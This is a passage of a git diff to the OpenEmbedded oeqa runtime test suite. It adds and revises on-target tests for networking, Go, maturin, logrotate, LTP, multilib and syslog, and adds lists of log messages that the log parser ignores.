--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/ethernet_ip_connman.py
@@ -0,0 +1,42 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.core.decorator.depends import OETestDepends
+from oeqa.core.decorator.data import skipIfQemu
+
+class Ethernet_Test(OERuntimeTestCase):
+
+ def set_ip(self, x):
+ x = x.split(".")
+ sample_host_address = '150'
+ x[3] = sample_host_address
+ x = '.'.join(x)
+ return x
+
+ @skipIfQemu()
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ def test_set_virtual_ip(self):
+ (status, output) = self.target.run("ifconfig eth0 | grep 'inet ' | awk '{print $2}'")
+ self.assertEqual(status, 0, msg='Failed to get ip address. Make sure you have an ethernet connection on your device, output: %s' % output)
+ original_ip = output
+ virtual_ip = self.set_ip(original_ip)
+
+ (status, output) = self.target.run("ifconfig eth0:1 %s netmask 255.255.255.0 && sleep 2 && ping -c 5 %s && ifconfig eth0:1 down" % (virtual_ip,virtual_ip))
+ self.assertEqual(status, 0, msg='Failed to create virtual ip address, output: %s' % output)
+
+ @skipIfQemu()
+ @OETestDepends(['ethernet_ip_connman.Ethernet_Test.test_set_virtual_ip'])
+ def test_get_ip_from_dhcp(self):
+ (status, output) = self.target.run("connmanctl services | grep -E '*AO Wired|*AR Wired' | awk '{print $3}'")
+ self.assertEqual(status, 0, msg='No wired interfaces are detected, output: %s' % output)
+ wired_interfaces = output
+
+ (status, output) = self.target.run("ip route | grep default | awk '{print $3}'")
+ self.assertEqual(status, 0, msg='Failed to retrieve the default gateway, output: %s' % output)
+ default_gateway = output
+
+ (status, output) = self.target.run("connmanctl config %s --ipv4 dhcp && sleep 2 && ping -c 5 %s" % (wired_interfaces,default_gateway))
+ self.assertEqual(status, 0, msg='Failed to get dynamic IP address via DHCP in connmand, output: %s' % output) \ No newline at end of file
diff --git a/meta/lib/oeqa/runtime/cases/gcc.py b/meta/lib/oeqa/runtime/cases/gcc.py
index 1b6e431bf4..17b1483e8d 100644
--- a/meta/lib/oeqa/runtime/cases/gcc.py
+++ b/meta/lib/oeqa/runtime/cases/gcc.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
diff --git a/meta/lib/oeqa/runtime/cases/gi.py b/meta/lib/oeqa/runtime/cases/gi.py
index 42bd100a31..78c7ddda2c 100644
--- a/meta/lib/oeqa/runtime/cases/gi.py
+++ b/meta/lib/oeqa/runtime/cases/gi.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
diff --git a/meta/lib/oeqa/runtime/cases/go.py b/meta/lib/oeqa/runtime/cases/go.py
new file mode 100644
index 0000000000..39a80f4dca
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/go.py
@@ -0,0 +1,21 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.core.decorator.depends import OETestDepends
+from oeqa.runtime.decorator.package import OEHasPackage
+
+class GoHelloworldTest(OERuntimeTestCase):
+ @OETestDepends(['ssh.SSHTest.test_ssh'])
+ @OEHasPackage(['go-helloworld'])
+ def test_gohelloworld(self):
+ cmd = "go-helloworld"
+ status, output = self.target.run(cmd)
+ msg = 'Exit status was not 0. Output: %s' % output
+ self.assertEqual(status, 0, msg=msg)
+
+ msg = 'Incorrect output: %s' % output
+ self.assertEqual(output, "Hello, world!", msg=msg)
diff --git a/meta/lib/oeqa/runtime/cases/gstreamer.py b/meta/lib/oeqa/runtime/cases/gstreamer.py
index f735f82e3b..2295769cfd 100644
--- a/meta/lib/oeqa/runtime/cases/gstreamer.py
+++ b/meta/lib/oeqa/runtime/cases/gstreamer.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
diff --git a/meta/lib/oeqa/runtime/cases/kernelmodule.py b/meta/lib/oeqa/runtime/cases/kernelmodule.py
index 47fd2f850c..9c42fcc586 100644
--- a/meta/lib/oeqa/runtime/cases/kernelmodule.py
+++ b/meta/lib/oeqa/runtime/cases/kernelmodule.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
diff --git a/meta/lib/oeqa/runtime/cases/ksample.py b/meta/lib/oeqa/runtime/cases/ksample.py
index a9a1620ebd..b6848762e3 100644
--- a/meta/lib/oeqa/runtime/cases/ksample.py
+++ b/meta/lib/oeqa/runtime/cases/ksample.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -10,7 +12,7 @@ from oeqa.core.decorator.depends import OETestDepends
from oeqa.core.decorator.data import skipIfNotFeature
# need some kernel fragments
-# echo "KERNEL_FEATURES_append += \" features\/kernel\-sample\/kernel\-sample.scc\"" >> local.conf
+# echo "KERNEL_FEATURES:append = \" features\/kernel\-sample\/kernel\-sample.scc\"" >> local.conf
class KSample(OERuntimeTestCase):
def cmd_and_check(self, cmd='', match_string=''):
status, output = self.target.run(cmd)
diff --git a/meta/lib/oeqa/runtime/cases/ldd.py b/meta/lib/oeqa/runtime/cases/ldd.py
index 9c2caa8f65..f6841c6675 100644
--- a/meta/lib/oeqa/runtime/cases/ldd.py
+++ b/meta/lib/oeqa/runtime/cases/ldd.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
diff --git a/meta/lib/oeqa/runtime/cases/login.py b/meta/lib/oeqa/runtime/cases/login.py
new file mode 100644
index 0000000000..e1bc60d49b
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/login.py
@@ -0,0 +1,116 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+import shutil
+import subprocess
+import tempfile
+import time
+import os
+from datetime import datetime
+from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.runtime.decorator.package import OEHasPackage
+
+### Status of qemu images.
+# - runqemu qemuppc64 comes up blank. (skip)
+# - qemuarmv5 comes up with multiple heads but sending "head" to screendump.
+# seems to create a png with a bad header? (skip for now, but come back to fix)
+# - qemuriscv32 and qemuloongarch64 doesn't work with testimage apparently? (skip)
+# - qemumips64 is missing mouse icon.
+# - qemumips takes forever to render and is missing mouse icon.
+# - qemuarm and qemuppc are odd as they don't resize so we need to just set width.
+# - All images have home and screen flipper icons not always rendered fully at first.
+# the sleep seems to help this out some, depending on machine load.
+###
+
+class LoginTest(OERuntimeTestCase):
+ @OEHasPackage(['matchbox-desktop', 'dbus-wait'])
+ def test_screenshot(self):
+ if self.td.get('MACHINE') in ("qemuppc64", "qemuarmv5", "qemuriscv32", "qemuriscv64", "qemuloongarch64"):
+ self.skipTest("{0} is not currently supported.".format(self.td.get('MACHINE')))
+
+ pn = self.td.get('PN')
+
+ ourenv = os.environ.copy()
+ origpath = self.td.get("ORIGPATH")
+ if origpath:
+ ourenv['PATH'] = ourenv['PATH'] + ":" + origpath
+
+ for cmd in ["identify.im7", "convert.im7", "compare.im7"]:
+ try:
+ subprocess.check_output(["which", cmd], env=ourenv)
+ except subprocess.CalledProcessError:
+ self.skipTest("%s (from imagemagick) not available" % cmd)
+
+
+ # Store images so we can debug them if needed
+ saved_screenshots_dir = self.td.get('T') + "/saved-screenshots/"
+
+ ###
+ # This is a really horrible way of doing this but I've not found the
+ # right event to determine "The system is loaded and screen is rendered"
+ #
+ # Using dbus-wait for matchbox is the wrong answer because while it
+ # ensures the system is up, it doesn't mean the screen is rendered.
+ #
+ # Checking the qmp socket doesn't work afaik either.
+ #
+ # One way to do this is to do compares of known good screendumps until
+ # we either get expected or close to expected or we time out. Part of the
+ # issue here with that is that there is a very fine difference in the
+ # diff between a screendump where the icons haven't loaded yet and
+ # one where they won't load. I'll look at that next, but, for now, this.
+ #
+ # Which is ugly and I hate it but it 'works' for various definitions of
+ # 'works'.
+ ###
+ # RP: if the signal is sent before we run this, it will never be seen and we'd timeout
+ #status, output = self.target.run('dbus-wait org.matchbox_project.desktop Loaded')
+ #if status != 0 or "Timeout" in output:
+ # self.fail('dbus-wait failed (%s, %s). This could mean that the image never loaded the matchbox desktop.' % (status, output))
+
+ # Start taking screenshots every 2 seconds until diff=0 or timeout is 60 seconds
+ timeout = time.time() + 60
+ diff = True
+ with tempfile.NamedTemporaryFile(prefix="oeqa-screenshot-login", suffix=".png") as t:
+ while diff != 0 and time.time() < timeout:
+ time.sleep(2)
+ ret = self.target.runner.run_monitor("screendump", args={"filename": t.name, "format":"png"})
+
+ # Find out size of image so we can determine where to blank out clock.
+ # qemuarm and qemuppc are odd as it doesn't resize the window and returns
+ # incorrect widths
+ if self.td.get('MACHINE') == "qemuarm" or self.td.get('MACHINE') == "qemuppc":
+ width = "640"
+ else:
+ cmd = "identify.im7 -ping -format '%w' {0}".format(t.name)
+ width = subprocess.check_output(cmd, shell=True, env=ourenv).decode()
+
+ rblank = int(float(width))
+ lblank = rblank-80
+
+ # Use the meta-oe version of convert, along with it's suffix. This blanks out the clock.
+ cmd = "convert.im7 {0} -fill white -draw 'rectangle {1},4 {2},28' {3}".format(t.name, str(rblank), str(lblank), t.name)
+ convert_out=subprocess.check_output(cmd, shell=True, env=ourenv).decode()
+
+ bb.utils.mkdirhier(saved_screenshots_dir)
+ savedfile = "{0}/saved-{1}-{2}-{3}.png".format(saved_screenshots_dir, \
+ datetime.timestamp(datetime.now()), \
+ pn, \
+ self.td.get('MACHINE'))
+ shutil.copy2(t.name, savedfile)
+
+ refimage = self.td.get('COREBASE') + "/meta/files/screenshot-tests/" + pn + "-" + self.td.get('MACHINE') +".png"
+ if not os.path.exists(refimage):
+ self.skipTest("No reference image for comparision (%s)" % refimage)
+
+ cmd = "compare.im7 -metric MSE {0} {1} /dev/null".format(t.name, refimage)
+ compare_out = subprocess.run(cmd, shell=True, capture_output=True, text=True, env=ourenv)
+ diff=float(compare_out.stderr.replace("(", "").replace(")","").split()[1])
+ if diff > 0:
+ # Keep a copy of the failed screenshot so we can see what happened.
+ self.fail("Screenshot diff is {0}. Failed image stored in {1}".format(str(diff), savedfile))
+ else:
+ self.assertEqual(0, diff, "Screenshot diff is {0}.".format(str(diff)))
diff --git a/meta/lib/oeqa/runtime/cases/logrotate.py b/meta/lib/oeqa/runtime/cases/logrotate.py
index a4efcd07c0..6ad980cb6a 100644
--- a/meta/lib/oeqa/runtime/cases/logrotate.py
+++ b/meta/lib/oeqa/runtime/cases/logrotate.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -17,7 +19,7 @@ class LogrotateTest(OERuntimeTestCase):
@classmethod
def tearDownClass(cls):
- cls.tc.target.run('mv -f $HOME/wtmp.oeqabak /etc/logrotate.d/wtmp && rm -rf $HOME/logrotate_dir')
+ cls.tc.target.run('mv -f $HOME/wtmp.oeqabak /etc/logrotate.d/wtmp && rm -rf /var/log//logrotate_dir')
cls.tc.target.run('rm -rf /var/log/logrotate_testfile && rm -rf /etc/logrotate.d/logrotate_testfile')
@OETestDepends(['ssh.SSHTest.test_ssh'])
@@ -29,17 +31,17 @@ class LogrotateTest(OERuntimeTestCase):
msg = ('Could not create/update /var/log/wtmp with touch')
self.assertEqual(status, 0, msg = msg)
- status, output = self.target.run('mkdir $HOME/logrotate_dir')
+ status, output = self.target.run('mkdir /var/log//logrotate_dir')
msg = ('Could not create logrotate_dir. Output: %s' % output)
self.assertEqual(status, 0, msg = msg)
- status, output = self.target.run('echo "create \n olddir $HOME/logrotate_dir \n include /etc/logrotate.d/wtmp" > /tmp/logrotate-test.conf')
+ status, output = self.target.run('echo "create \n olddir /var/log//logrotate_dir \n include /etc/logrotate.d/wtmp" > /tmp/logrotate-test.conf')
msg = ('Could not write to /tmp/logrotate-test.conf')
self.assertEqual(status, 0, msg = msg)
# If logrotate fails to rotate the log, view the verbose output of logrotate to see what prevented it
_, logrotate_output = self.target.run('logrotate -vf /tmp/logrotate-test.conf')
- status, _ = self.target.run('find $HOME/logrotate_dir -type f | grep wtmp.1')
+ status, _ = self.target.run('find /var/log//logrotate_dir -type f | grep wtmp.1')
msg = ("logrotate did not successfully rotate the wtmp log. Output from logrotate -vf: \n%s" % (logrotate_output))
self.assertEqual(status, 0, msg = msg)
@@ -54,17 +56,17 @@ class LogrotateTest(OERuntimeTestCase):
msg = ('Could not write to /etc/logrotate.d/logrotate_testfile')
self.assertEqual(status, 0, msg = msg)
- status, output = self.target.run('echo "create \n olddir $HOME/logrotate_dir \n include /etc/logrotate.d/logrotate_testfile" > /tmp/logrotate-test2.conf')
+ status, output = self.target.run('echo "create \n olddir /var/log//logrotate_dir \n include /etc/logrotate.d/logrotate_testfile" > /tmp/logrotate-test2.conf')
msg = ('Could not write to /tmp/logrotate_test2.conf')
self.assertEqual(status, 0, msg = msg)
- status, output = self.target.run('find $HOME/logrotate_dir -type f | grep logrotate_testfile.1')
+ status, output = self.target.run('find /var/log//logrotate_dir -type f | grep logrotate_testfile.1')
msg = ('A rotated log for logrotate_testfile is already present in logrotate_dir')
self.assertEqual(status, 1, msg = msg)
# If logrotate fails to rotate the log, view the verbose output of logrotate instead of just listing the files in olddir
_, logrotate_output = self.target.run('logrotate -vf /tmp/logrotate-test2.conf')
- status, _ = self.target.run('find $HOME/logrotate_dir -type f | grep logrotate_testfile.1')
+ status, _ = self.target.run('find /var/log//logrotate_dir -type f | grep logrotate_testfile.1')
msg = ('logrotate did not successfully rotate the logrotate_test log. Output from logrotate -vf: \n%s' % (logrotate_output))
self.assertEqual(status, 0, msg = msg)
diff --git a/meta/lib/oeqa/runtime/cases/ltp.py b/meta/lib/oeqa/runtime/cases/ltp.py
index a66d5d13d7..f588a93200 100644
--- a/meta/lib/oeqa/runtime/cases/ltp.py
+++ b/meta/lib/oeqa/runtime/cases/ltp.py
@@ -57,37 +57,47 @@ class LtpTestBase(OERuntimeTestCase):
class LtpTest(LtpTestBase):
- ltp_groups = ["math", "syscalls", "dio", "io", "mm", "ipc", "sched", "nptl", "pty", "containers", "controllers", "filecaps", "cap_bounds", "fcntl-locktests", "connectors", "commands", "net.ipv6_lib", "input","fs_perms_simple"]
+ ltp_groups = ["math", "syscalls", "dio", "io", "mm", "ipc", "sched", "nptl", "pty", "containers", "controllers", "filecaps", "cap_bounds", "fcntl-locktests", "commands", "net.ipv6_lib", "input","fs_perms_simple", "cve", "crypto", "ima", "net.nfs", "net_stress.ipsec_icmp", "net.ipv6", "numa", "uevent", "ltp-aiodio.part1", "ltp-aiodio.part2", "ltp-aiodio.part3", "ltp-aiodio.part4"]
- ltp_fs = ["fs", "fsx", "fs_bind"]
+ ltp_fs = ["fs", "fs_bind"]
# skip kernel cpuhotplug
ltp_kernel = ["power_management_tests", "hyperthreading ", "kernel_misc", "hugetlb"]
ltp_groups += ltp_fs
def runltp(self, ltp_group):
- cmd = '/opt/ltp/runltp -f %s -p -q -r /opt/ltp -l /opt/ltp/results/%s -I 1 -d /opt/ltp' % (ltp_group, ltp_group)
+ # LTP appends to log files, so ensure we start with a clean log
+ self.target.deleteFiles("/opt/ltp/results/", ltp_group)
+
+ cmd = '/opt/ltp/runltp -f %s -q -r /opt/ltp -l /opt/ltp/results/%s -I 1 -d /opt/ltp' % (ltp_group, ltp_group)
+
starttime = time.time()
- (status, output) = self.target.run(cmd)
+ (status, output) = self.target.run(cmd, timeout=1200)
endtime = time.time()
+ # status of 1 is 'just' tests failing. 255 likely was a command output timeout
+ if status and status != 1:
+ msg = 'Command %s returned exit code %s' % (cmd, status)
+ self.target.logger.warning(msg)
+
+ # Write the console log to disk for convenience
with open(os.path.join(self.ltptest_log_dir, "%s-raw.log" % ltp_group), 'w') as f:
f.write(output)
+ # Also put the console log into the test result JSON
self.extras['ltpresult.rawlogs']['log'] = self.extras['ltpresult.rawlogs']['log'] + output
- # copy nice log from DUT
- dst = os.path.join(self.ltptest_log_dir, "%s" % ltp_group )
+ # Copy the machine-readable test results locally so we can parse it
+ dst = os.path.join(self.ltptest_log_dir, ltp_group)
remote_src = "/opt/ltp/results/%s" % ltp_group
(status, output) = self.target.copyFrom(remote_src, dst, True)
- msg = 'File could not be copied. Output: %s' % output
if status:
+ msg = 'File could not be copied. Output: %s' % output
self.target.logger.warning(msg)
parser = LtpParser()
results, sections = parser.parse(dst)
- runtime = int(endtime-starttime)
- sections['duration'] = runtime
+ sections['duration'] = int(endtime-starttime)
self.sections[ltp_group] = sections
failed_tests = {}
diff --git a/meta/lib/oeqa/runtime/cases/ltp_stress.py b/meta/lib/oeqa/runtime/cases/ltp_stress.py
index 2445ffbc93..ce6f4bf59d 100644
--- a/meta/lib/oeqa/runtime/cases/ltp_stress.py
+++ b/meta/lib/oeqa/runtime/cases/ltp_stress.py
@@ -89,8 +89,7 @@ class LtpStressTest(LtpStressBase):
# LTP stress runtime tests
#
- @skipIfQemu('qemuall', 'Test only runs on real hardware')
-
+ @skipIfQemu()
@OETestDepends(['ssh.SSHTest.test_ssh'])
@OEHasPackage(["ltp"])
def test_ltp_stress(self):
diff --git a/meta/lib/oeqa/runtime/cases/maturin.py b/meta/lib/oeqa/runtime/cases/maturin.py
new file mode 100644
index 0000000000..4e6384fe5e
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/maturin.py
@@ -0,0 +1,58 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+import os
+
+from oeqa.runtime.case import OERuntimeTestCase
+from oeqa.core.decorator.depends import OETestDepends
+from oeqa.runtime.decorator.package import OEHasPackage
+
+
+class MaturinTest(OERuntimeTestCase):
+ @OETestDepends(['ssh.SSHTest.test_ssh', 'python.PythonTest.test_python3'])
+ @OEHasPackage(['python3-maturin'])
+ def test_maturin_list_python(self):
+ status, output = self.target.run("maturin list-python")
+ self.assertEqual(status, 0)
+ _, py_major = self.target.run("python3 -c 'import sys; print(sys.version_info.major)'")
+ _, py_minor = self.target.run("python3 -c 'import sys; print(sys.version_info.minor)'")
+ python_version = "%s.%s" % (py_major, py_minor)
+ self.assertEqual(output, "🐍 1 python interpreter found:\n"
+ " - CPython %s at /usr/bin/python%s" % (python_version, python_version))
+
+
+class MaturinDevelopTest(OERuntimeTestCase):
+ @classmethod
+ def setUp(cls):
+ dst = '/tmp'
+ src = os.path.join(cls.tc.files_dir, "maturin/guessing-game")
+ cls.tc.target.copyTo(src, dst)
+
+ @classmethod
+ def tearDown(cls):
+ cls.tc.target.run('rm -rf %s' % '/tmp/guessing-game/target')
+
+ @OETestDepends(['ssh.SSHTest.test_ssh', 'python.PythonTest.test_python3'])
+ @OEHasPackage(['python3-maturin'])
+ def test_maturin_develop(self):
+ """
+ This test case requires:
+ (1) that a .venv can been created.
+ (2) DNS nameserver to resolve crate URIs for fetching
+ (3) a functional 'rustc' and 'cargo'
+ """
+ targetdir = os.path.join("/tmp", "guessing-game")
+ self.target.run("cd %s; python3 -m venv .venv" % targetdir)
+ self.target.run("echo 'nameserver 8.8.8.8' > /etc/resolv.conf")
+ cmd = "cd %s; maturin develop" % targetdir
+ status, output = self.target.run(cmd)
+ self.assertRegex(output, r"🔗 Found pyo3 bindings with abi3 support for Python ≥ 3.8")
+ self.assertRegex(output, r"🐍 Not using a specific python interpreter")
+ self.assertRegex(output, r"📡 Using build options features from pyproject.toml")
+ self.assertRegex(output, r"Compiling guessing-game v0.1.0")
+ self.assertRegex(output, r"📦 Built wheel for abi3 Python ≥ 3.8")
+ self.assertRegex(output, r"🛠 Installed guessing-game-0.1.0")
+ self.assertEqual(status, 0)
diff --git a/meta/lib/oeqa/runtime/cases/multilib.py b/meta/lib/oeqa/runtime/cases/multilib.py
index 62e662b01c..68556e45c5 100644
--- a/meta/lib/oeqa/runtime/cases/multilib.py
+++ b/meta/lib/oeqa/runtime/cases/multilib.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -7,6 +9,8 @@ from oeqa.core.decorator.depends import OETestDepends
from oeqa.core.decorator.data import skipIfNotInDataVar
from oeqa.runtime.decorator.package import OEHasPackage
+import subprocess
+
class MultilibTest(OERuntimeTestCase):
def archtest(self, binary, arch):
@@ -14,8 +18,10 @@ class MultilibTest(OERuntimeTestCase):
Check that ``binary`` has the ELF class ``arch`` (e.g. ELF32/ELF64).
"""
- status, output = self.target.run('readelf -h %s' % binary)
- self.assertEqual(status, 0, 'Failed to readelf %s' % binary)
+ dest = "{}/test_binary".format(self.td.get('T', ''))
+ self.target.copyFrom(binary, dest)
+ output = subprocess.check_output("readelf -h {}".format(dest), shell=True).decode()
+ os.remove(dest)
l = [l.split()[1] for l in output.split('\n') if "Class:" in l]
if l:
@@ -29,7 +35,6 @@ class MultilibTest(OERuntimeTestCase):
@skipIfNotInDataVar('MULTILIBS', 'multilib:lib32',
"This isn't a multilib:lib32 image")
@OETestDepends(['ssh.SSHTest.test_ssh'])
- @OEHasPackage(['binutils'])
@OEHasPackage(['lib32-libc6'])
def test_check_multilib_libc(self):
"""
@@ -39,6 +44,6 @@ class MultilibTest(OERuntimeTestCase):
self.archtest("/lib64/libc.so.6", "ELF64")
@OETestDepends(['multilib.MultilibTest.test_check_multilib_libc'])
- @OEHasPackage(['lib32-connman', '!connman'])
+ @OEHasPackage(['lib32-connman'])
def test_file_connman(self):
self.archtest("/usr/sbin/connmand", "ELF32")
diff --git a/meta/lib/oeqa/runtime/cases/oe_syslog.py b/meta/lib/oeqa/runtime/cases/oe_syslog.py
index f3c2bedbaf..adb876160d 100644
--- a/meta/lib/oeqa/runtime/cases/oe_syslog.py
+++ b/meta/lib/oeqa/runtime/cases/oe_syslog.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -114,18 +116,23 @@ class SyslogTestConfig(OERuntimeTestCase):
@OETestDepends(['oe_syslog.SyslogTestConfig.test_syslog_logger'])
@OEHasPackage(["busybox-syslog"])
@skipIfDataVar('VIRTUAL-RUNTIME_init_manager', 'systemd',
- 'Not appropiate for systemd image')
+ 'Not appropriate for systemd image')
def test_syslog_startup_config(self):
cmd = 'echo "LOGFILE=/var/log/test" >> /etc/syslog-startup.conf'
self.target.run(cmd)
self.test_syslog_restart()
- cmd = 'logger foobar && grep foobar /var/log/test'
- status,output = self.target.run(cmd)
- msg = 'Test log string not found. Output: %s ' % output
+ cmd = 'logger foobar'
+ status, output = self.target.run(cmd)
+ msg = 'Logger command failed, %s. Output: %s ' % (status, output)
self.assertEqual(status, 0, msg=msg)
+ cmd = 'cat /var/log/test'
+ status, output = self.target.run(cmd)
+ if "foobar" not in output or status:
+ self.fail("'foobar' not found in logfile, status %s, contents %s" % (status, output))
+
cmd = "sed -i 's#LOGFILE=/var/log/test##' /etc/syslog-startup.conf"
self.target.run(cmd)
self.test_syslog_restart()
diff --git a/meta/lib/oeqa/runtime/cases/opkg.py b/meta/lib/oeqa/runtime/cases/opkg.py
index 9cfee1cd88..a29c93e59a 100644
--- a/meta/lib/oeqa/runtime/cases/opkg.py
+++ b/meta/lib/oeqa/runtime/cases/opkg.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
diff --git a/meta/lib/oeqa/runtime/cases/pam.py b/meta/lib/oeqa/runtime/cases/pam.py
index 271a1943e3..b3e8b56c3c 100644
--- a/meta/lib/oeqa/runtime/cases/pam.py
+++ b/meta/lib/oeqa/runtime/cases/pam.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -8,11 +10,14 @@
from oeqa.runtime.case import OERuntimeTestCase
from oeqa.core.decorator.depends import OETestDepends
from oeqa.core.decorator.data import skipIfNotFeature
+from oeqa.runtime.decorator.package import OEHasPackage
class PamBasicTest(OERuntimeTestCase):
@skipIfNotFeature('pam', 'Test requires pam to be in DISTRO_FEATURES')
@OETestDepends(['ssh.SSHTest.test_ssh'])
+ @OEHasPackage(['shadow'])
+ @OEHasPackage(['shadow-base'])
def test_pam(self):
status, output = self.target.run('login --help')
msg = ('login command does not work as expected. '
diff --git a/meta/lib/oeqa/runtime/cases/parselogs-ignores-common.txt b/meta/lib/oeqa/runtime/cases/parselogs-ignores-common.txt
new file mode 100644
index 0000000000..f91abbc941
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/parselogs-ignores-common.txt
@@ -0,0 +1,62 @@
+# Xserver explains what the short codes mean
+(WW) warning, (EE) error, (NI) not implemented, (??) unknown.
+
+# Xserver warns if compiled with ACPI but no acpid running
+Open ACPI failed (/var/run/acpid.socket) (No such file or directory)
+
+# Some machines (eg qemux86) don't enable PAE (they probably should though)
+NX (Execute Disable) protection cannot be enabled: non-PAE kernel!
+
+# Connman's pacrunner warns if external connectivity isn't available
+Failed to find URL:http://ipv4.connman.net/online/status.html
+Failed to find URL:http://ipv6.connman.net/online/status.html
+
+# x86 on 6.6+ outputs this message, it is informational, not an error
+ACPI: _OSC evaluation for CPUs failed, trying _PDC
+
+# These should be reviewed to see if they are still needed
+dma timeout
+can\'t add hid device:
+usbhid: probe of
+_OSC failed (AE_ERROR)
+_OSC failed (AE_SUPPORT)
+AE_ALREADY_EXISTS
+ACPI _OSC request failed (AE_SUPPORT)
+can\'t disable ASPM
+Failed to load module "vesa"
+Failed to load module "modesetting"
+Failed to load module "glx"
+Failed to load module "fbdev"
+Failed to load module "ati"
+[drm] Cannot find any crtc or sizes
+_OSC failed (AE_NOT_FOUND); disabling ASPM
+hd.: possibly failed opcode
+NETLINK INITIALIZATION FAILED
+kernel: Cannot find map file
+omap_hwmod: debugss: _wait_target_disable failed
+VGA arbiter: cannot open kernel arbiter, no multi-card support
+Online check failed for
+netlink init failed
+Fast TSC calibration
+controller can't do DEVSLP, turning off
+stmmac_dvr_probe: warning: cannot get CSR clock
+error: couldn\'t mount because of unsupported optional features
+GPT: Use GNU Parted to correct GPT errors
+Cannot set xattr user.Librepo.DownloadInProgress
+Failed to read /var/lib/nfs/statd/state: Success
+error retry time-out =
+logind: cannot setup systemd-logind helper (-61), using legacy fallback
+Failed to rename network interface
+Failed to process device, ignoring: Device or resource busy
+Cannot find a map file
+[rdrand]: Initialization Failed
+[rndr ]: Initialization Failed
+[pulseaudio] authkey.c: Failed to open cookie file
+[pulseaudio] authkey.c: Failed to load authentication key
+was skipped because of a failed condition check
+was skipped because all trigger condition checks failed
+xf86OpenConsole: Switching VT failed
+Failed to read LoaderConfigTimeoutOneShot variable, ignoring: Operation not supported
+Failed to read LoaderEntryOneShot variable, ignoring: Operation not supported
+Direct firmware load for regulatory.db
+failed to load regulatory.db
diff --git a/meta/lib/oeqa/runtime/cases/parselogs-ignores-mipsarch.txt b/meta/lib/oeqa/runtime/cases/parselogs-ignores-mipsarch.txt
new file mode 100644
index 0000000000..2c0bd9a247
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/parselogs-ignores-mipsarch.txt
@@ -0,0 +1,2 @@
+# These should be reviewed to see if they are still needed
+cacheinfo: Failed to find cpu0 device node
diff --git a/meta/lib/oeqa/runtime/cases/parselogs-ignores-qemuall.txt b/meta/lib/oeqa/runtime/cases/parselogs-ignores-qemuall.txt
new file mode 100644
index 0000000000..b0c0fc9ddf
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/parselogs-ignores-qemuall.txt
@@ -0,0 +1,27 @@
+# psplash
+FBIOPUT_VSCREENINFO failed, double buffering disabled
+
+# PCI host bridge to bus 0000:00
+# pci_bus 0000:00: root bus resource [mem 0x10000000-0x17ffffff]
+# pci_bus 0000:00: root bus resource [io 0x1000-0x1fffff]
+# pci_bus 0000:00: No busn resource found for root bus, will use [bus 00-ff]
+# pci 0000:00:00.0: [2046:ab11] type 00 class 0x100000
+# pci 0000:00:00.0: [Firmware Bug]: reg 0x10: invalid BAR (can't size)
+# pci 0000:00:00.0: [Firmware Bug]: reg 0x14: invalid BAR (can't size)
+# pci 0000:00:00.0: [Firmware Bug]: reg 0x18: invalid BAR (can't size)
+# pci 0000:00:00.0: [Firmware Bug]: reg 0x1c: invalid BAR (can't size)
+# pci 0000:00:00.0: [Firmware Bug]: reg 0x20: invalid BAR (can't size)
+# pci 0000:00:00.0: [Firmware Bug]: reg 0x24: invalid BAR (can't size)
+invalid BAR (can't size)
+
+# These should be reviewed to see if they are still needed
+wrong ELF class
+fail to add MMCONFIG information, can't access extended PCI configuration space under this bridge
+can't claim BAR
+amd_nb: Cannot enumerate AMD northbridges
+tsc: HPET/PMTIMER calibration failed
+modeset(0): Failed to initialize the DRI2 extension
+glamor initialization failed
+blk_update_request: I/O error, dev fd0, sector 0 op 0x0:(READ)
+floppy: error
+failed to IDENTIFY (I/O error, err_mask=0x4)
diff --git a/meta/lib/oeqa/runtime/cases/parselogs-ignores-qemuarm64.txt b/meta/lib/oeqa/runtime/cases/parselogs-ignores-qemuarm64.txt
new file mode 100644
index 0000000000..260cdde620
--- /dev/null
+++ b/meta/lib/oeqa/runtime/cases/parselogs-ignores-qemuarm64.txt
@@ -0,0 +1,6 @@
+# These should be reviewed to see if they are still needed
+Fatal server error:
+(EE) Server terminated with error (1). Closing log file.
+dmi: Firmware registration failed.
+irq: type mismatch, failed to map hwirq-27 for /intc
+logind: failed to get session seat \ No newline at end of file
